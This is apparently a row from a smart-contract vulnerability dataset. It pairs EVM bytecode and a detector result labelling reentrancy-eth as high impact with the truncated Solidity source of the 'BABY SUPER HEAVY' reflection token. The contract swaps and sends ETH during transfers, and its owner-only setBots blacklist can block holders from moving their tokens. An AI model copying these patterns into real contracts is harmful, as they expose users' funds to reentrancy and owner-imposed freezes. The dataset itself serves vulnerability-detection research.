5b5b601654811115611879576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118709061304f565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561191d5750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61195c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119539061308f565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611a0957601754816119be84610d67565b6119c891906132e5565b10611a08576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ff9061316f565b60405180910390fd5b5b6000611a1430610d67565b9050600060185482101590506016548210611a2f5760165491505b808015611a47575060158054906101000a900460ff16155b8015611aa15750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611ab95750601560169054906101000a900460ff165b15611ae157611ac782611f23565b60004790506000811115611adf57611ade47611e49565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b8b5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611c3e5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611c3d5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611c4c5760009050611dd3565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611cf75750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611d0f57600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611dba5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611dd257600a54600c81905550600b54600d819055505b5b611ddf8484848461221b565b50505050565b6000838311158290611e2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e249190612fcd565b60405180910390fd5b5060008385611e3c91906133c6565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611eb1573d6000803e3d6000fd5b5050565b6000600654821115611efc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ef39061302f565b60405180910390fd5b6000611f06612248565b9050611f1b818461227390919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f80577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611fae5781602001602082028036833780820191505090505b5090503081600081518110611fec577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561208e57600080fd5b505afa1580156120a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120c69190612a58565b81600181518110612100577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061216730601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461142a565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016121cb9594939291906131ca565b600060405180830381600087803b1580156121e557600080fd5b505af11580156121f9573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b80612229576122286122bd565b5b612234848484612300565b80612242576122416124cb565b5b50505050565b60008060006122556124df565b9150915061226c818361227390919063ffffffff16565b9250505090565b60006122b583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612541565b905092915050565b6000600c541480156122d157506000600d54145b156122db576122fe565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612312876125a4565b95509550955095509550955061237086600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461260c90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061240585600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461265690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612451816126b4565b61245b8483612771565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124b891906131af565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000683635c9adc5dea000009050612515683635c9adc5dea0000060065461227390919063ffffffff16565b82101561253457600654683635c9adc5dea0000093509350505061253d565b81819350935050505b9091565b60008083118290612588576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161257f9190612fcd565b60405180910390fd5b5060008385612597919061333b565b9050809150509392505050565b60008060008060008060008060006125c18a600c54600d546127ab565b92509250925060006125d1612248565b905060008060006125e48e878787612841565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061264e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611de5565b905092915050565b600080828461266591906132e5565b9050838110156126aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126a1906130af565b60405180910390fd5b8091505092915050565b60006126be612248565b905060006126d582846128ca90919063ffffffff16565b905061272981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461265690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6127868260065461260c90919063ffffffff16565b6006819055506127a18160075461265690919063ffffffff16565b6007819055505050565b6000806000806127d760646127c9888a6128ca90919063ffffffff16565b61227390919063ffffffff16565b9050600061280160646127f3888b6128ca90919063ffffffff16565b61227390919063ffffffff16565b9050600061282a8261281c858c61260c90919063ffffffff16565b61260c90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061285a85896128ca90919063ffffffff16565b9050600061287186896128ca90919063ffffffff16565b9050600061288887896128ca90919063ffffffff16565b905060006128b1826128a3858761260c90919063ffffffff16565b61260c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156128dd576000905061293f565b600082846128eb919061336c565b90508284826128fa919061333b565b1461293a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612931906130ef565b60405180910390fd5b809150505b92915050565b600061295861295384613264565b61323f565b9050808382526020820190508285602086028201111561297757600080fd5b60005b858110156129a7578161298d88826129b1565b84526020840193506020830192505060018101905061297a565b5050509392505050565b6000813590506129c08161398a565b92915050565b6000815190506129d58161398a565b92915050565b600082601f8301126129ec57600080fd5b81356129fc848260208601612945565b91505092915050565b600081359050612a14816139a1565b92915050565b600081359050612a29816139b8565b92915050565b600060208284031215612a4157600080fd5b6000612a4f848285016129b1565b91505092915050565b600060208284031215612a6a57600080fd5b6000612a78848285016129c6565b91505092915050565b60008060408385031215612a9457600080fd5b6000612aa2858286016129b1565b9250506020612ab3858286016129b1565b9150509250929050565b600080600060608486031215612ad257600080fd5b6000612ae0868287016129b1565b9350506020612af1868287016129b1565b9250506040612b0286828701612a1a565b9150509250925092565b60008060408385031215612b1f57600080fd5b6000612b2d858286016129b1565b9250506020612b3e85828601612a05565b9150509250929050565b60008060408385031215612b5b57600080fd5b6000612b69858286016129b1565b9250506020612b7a85828601612a1a565b9150509250929050565b600060208284031215612b9657600080fd5b600082013567ffffffffffffffff811115612bb057600080fd5b612bbc848285016129db565b91505092915050565b600060208284031215612bd757600080fd5b6000612be584828501612a05565b91505092915050565b600060208284031215612c0057600080fd5b6000612c0e84828501612a1a565b91505092915050565b60008060008060808587031215612c2d57600080fd5b6000612c3b87828801612a1a565b9450506020612c4c87828801612a1a565b9350506040612c5d87828801612a1a565b9250506060612c6e87828801612a1a565b91505092959194509250565b6000612c868383612c92565b60208301905092915050565b612c9b816133fa565b82525050565b612caa816133fa565b82525050565b6000612cbb826132a0565b612cc581856132c3565b9350612cd083613290565b8060005b83811015612d01578151612ce88882612c7a565b9750612cf3836132b6565b925050600181019050612cd4565b5085935050505092915050565b612d178161340c565b82525050565b612d268161344f565b82525050565b612d3581613473565b82525050565b6000612d46826132ab565b612d5081856132d4565b9350612d60818560208601613485565b612d69816135bf565b840191505092915050565b6000612d816023836132d4565b9150612d8c826135d0565b604082019050919050565b6000612da4603f836132d4565b9150612daf8261361f565b604082019050919050565b6000612dc7602a836132d4565b9150612dd28261366e565b604082019050919050565b6000612dea601c836132d4565b9150612df5826136bd565b602082019050919050565b6000612e0d6022836132d4565b9150612e18826136e6565b604082019050919050565b6000612e306023836132d4565b9150612e3b82613735565b604082019050919050565b6000612e53601b836132d4565b9150612e5e82613784565b602082019050919050565b6000612e766017836132d4565b9150612e81826137ad565b602082019050919050565b6000612e996021836132d4565b9150612ea4826137d6565b604082019050919050565b6000612ebc6020836132d4565b9150612ec782613825565b602082019050919050565b6000612edf6029836132d4565b9150612eea8261384e565b604082019050919050565b6000612f026025836132d4565b9150612f0d8261389d565b604082019050919050565b6000612f256023836132d4565b9150612f30826138ec565b604082019050919050565b6000612f486024836132d4565b9150612f538261393b565b604082019050919050565b612f6781613438565b82525050565b612f7681613442565b82525050565b6000602082019050612f916000830184612ca1565b92915050565b6000602082019050612fac6000830184612d0e565b92915050565b6000602082019050612fc76000830184612d1d565b92915050565b60006020820190508181036000830152612fe78184612d3b565b905092915050565b6000602082019050818103600083015261300881612d74565b9050919050565b6000602082019050818103600083015261302881612d97565b9050919050565b6000602082019050818103600083015261304881612dba565b9050919050565b6000602082019050818103600083015261306881612ddd565b9050919050565b6000602082019050818103600083015261308881612e00565b9050919050565b600060208201905081810360008301526130a881612e23565b9050919050565b600060208201905081810360008301526130c881612e46565b9050919050565b600060208201905081810360008301526130e881612e69565b9050919050565b6000602082019050818103600083015261310881612e8c565b9050919050565b6000602082019050818103600083015261312881612eaf565b9050919050565b6000602082019050818103600083015261314881612ed2565b9050919050565b6000602082019050818103600083015261316881612ef5565b9050919050565b6000602082019050818103600083015261318881612f18565b9050919050565b600060208201905081810360008301526131a881612f3b565b9050919050565b60006020820190506131c46000830184612f5e565b92915050565b600060a0820190506131df6000830188612f5e565b6131ec6020830187612d2c565b81810360408301526131fe8186612cb0565b905061320d6060830185612ca1565b61321a6080830184612f5e565b9695505050505050565b60006020820190506132396000830184612f6d565b92915050565b600061324961325a565b905061325582826134b8565b919050565b6000604051905090565b600067ffffffffffffffff82111561327f5761327e613590565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006132f082613438565b91506132fb83613438565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156133305761332f613532565b5b828201905092915050565b600061334682613438565b915061335183613438565b92508261336157613360613561565b5b828204905092915050565b600061337782613438565b915061338283613438565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133bb576133ba613532565b5b828202905092915050565b60006133d182613438565b91506133dc83613438565b9250828210156133ef576133ee613532565b5b828203905092915050565b600061340582613418565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061345a82613461565b9050919050565b600061346c82613418565b9050919050565b600061347e82613438565b9050919050565b60005b838110156134a3578082015181840152602081019050613488565b838111156134b2576000848401525b50505050565b6134c1826135bf565b810181811067ffffffffffffffff821117156134e0576134df613590565b5b80604052505050565b60006134f482613438565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561352757613526613532565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f544f4b454e3a20416c726561647920656e61626c65642e000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613993816133fa565b811461399e57600080fd5b50565b6139aa8161340c565b81146139b557600080fd5b50565b6139c181613438565b81146139cc57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122010aa16e55df27c40b0e50e915fa236eef9169529ebd66366c098a7893ecf584564736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 5,732 |
0x316aec45426a53c4856cde18c9fe6e602da64523
|
/**
*Submitted for verification at Etherscan.io on 2021-07-01
*/
// SPDX-License-Identifier: Unlicensed
//
//: Website coming soon
//: BABY SUPER HEAVY
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BABYSUPERHEAVY is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string public constant _name = "BABY SUPER HEAVY";
string public constant _symbol = "BEAVY";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 5;
uint256 private _teamFee = 5;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
if(from != address(this)){
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 1 * 10**12 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
